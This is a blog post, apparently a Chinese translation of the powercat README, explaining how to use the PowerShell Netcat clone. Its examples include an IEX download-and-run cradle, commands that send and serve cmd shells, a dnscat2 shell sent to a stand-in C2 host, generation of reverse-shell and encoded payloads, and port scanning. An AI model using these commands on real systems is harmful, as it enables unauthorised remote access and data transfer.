Powercat 是 Netcat 的 PowerShell 版本

Powercat 是 Netcat 的 PowerShell 版本。支持 Powershell 版本 2 及更高版本。

安装 powercat 是一个 PowerShell 函数。在执行之前,您需要先加载这个函数。您可以将以下命令之一放入您的 PowerShell 配置文件中,这样在 PowerShell 启动时就会自动加载 powercat。

从下载的 .ps1 文件加载函数: . .\powercat.ps1 从 URL 加载函数: IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') 参数: -l 监听连接。 [Switch] -c 连接到监听器。 [String] -p 要连接或监听的端口。 [String] -e 执行。(存在安全漏洞) [String] -ep 执行 PowerShell。 [Switch] -r 中继。格式:"-r tcp:10.1.1.1:443" [String] -u 通过 UDP 传输数据。 [Switch] -dns 通过 DNS 传输数据(dnscat2)。 [String] -dnsft DNS 失败阈值。 [int32] -t 超时选项。默认值:60 [int32] -i 输入:文件路径(字符串)、字节数组或字符串。[object] -o 控制台输出类型:"Host"、"Bytes" 或 "String" [String] -of 输出文件路径。 [String] -d 连接后断开。 [Switch] -rep 重复器。断开连接后重新启动。 [Switch] -g 生成有效载荷。 [Switch] -ge 生成编码的有效载荷。 [Switch] -h 打印帮助信息。 [Switch]

基本连接 默认情况下,powercat 从控制台读取输入,并使用 write-host 将输入写入控制台。您可以使用 -o 将输出类型更改为'Bytes'或'String'。

基本客户端: powercat -c 10.1.1.1 -p 443 基本监听器: powercat -l -p 8000 基本客户端,输出为字节: powercat -c 10.1.1.1 -p 443 -o Bytes

文件传输 可以使用 powercat 使用 -i(输入)和 -of(输出文件)来回传输文件。

发送文件: powercat -c 10.1.1.1 -p 443 -i C:\inputfile 接收文件: powercat -l -p 8000 -of C:\inputfile

Shell powercat 可以用于发送和提供 shell。指定一个可执行文件给 -e,或者使用 -ep 来执行 PowerShell。

提供一个 cmd Shell: powercat -l -p 443 -e cmd 发送一个 cmd Shell: powercat -c 10.1.1.1 -p 443 -e cmd 提供一个执行 PowerShell 命令的 shell: powercat -l -p 443 -ep

DNS 和 UDP powercat 支持不仅可以通过 TCP 发送数据。指定 -u 来启用 UDP 模式。也可以使用 -dns 向 dnscat2 服务器发送数据。运行 dnscat2 服务器时,请确保添加 "-e open --no-cache"。

通过 UDP 发送数据: powercat -c 10.1.1.1 -p 8000 -u powercat -l -p 8000 -u 连接到 c2.example.com dnscat2 服务器,使用位于 10.1.1.1 上的 DNS 服务器: powercat -c 10.1.1.1 -p 53 -dns c2.example.comc2.example.com dnscat2 服务器发送一个 shell,使用 Windows 默认的 DNS 服务器: powercat -dns c2.example.com -e cmd

中继 powercat 中的中继工作方式类似于传统的 netcat 中继,但您无需创建文件或启动第二个进程。还可以在不同协议的连接之间中继数据。

TCP 监听器到 TCP 客户端中继: powercat -l -p 8000 -r tcp:10.1.1.16:443 TCP 监听器到 UDP 客户端中继: powercat -l -p 8000 -r udp:10.1.1.16:53 TCP 监听器到 DNS 客户端中继 powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com 使用 Windows 默认 DNS 服务器的 TCP 监听器到 DNS 客户端中继 powercat -l -p 8000 -r dns:::c2.example.com TCP 客户端到客户端中继 powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443 TCP 监听器到监听器中继 powercat -l -p 8000 -r tcp:9000

生成有效载荷 可以使用 -g(生成有效载荷)和 -ge(生成编码有效载荷)生成执行特定操作的有效载荷。编码有效载荷可以使用 powershell -E 执行。如果您不想使用所有 powercat,可以使用这些。

生成一个反向 tcp 负载,连接回 10.1.1.15 端口 443: powercat -c 10.1.1.15 -p 443 -e cmd -g 生成一个绑定 tcp 编码命令,监听端口 8000: powercat -l -p 8000 -e cmd -ge

其他用途 powercat 也可用于执行端口扫描,并启动持久性服务器。

基本 TCP 端口扫描器: (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d} 启动一个服务一个文件的持久服务器: powercat -l -p 443 -i C:\inputfile -rep

posted @ 2024-03-03 13:39  suv789  阅读(37)  评论(0编辑  收藏  举报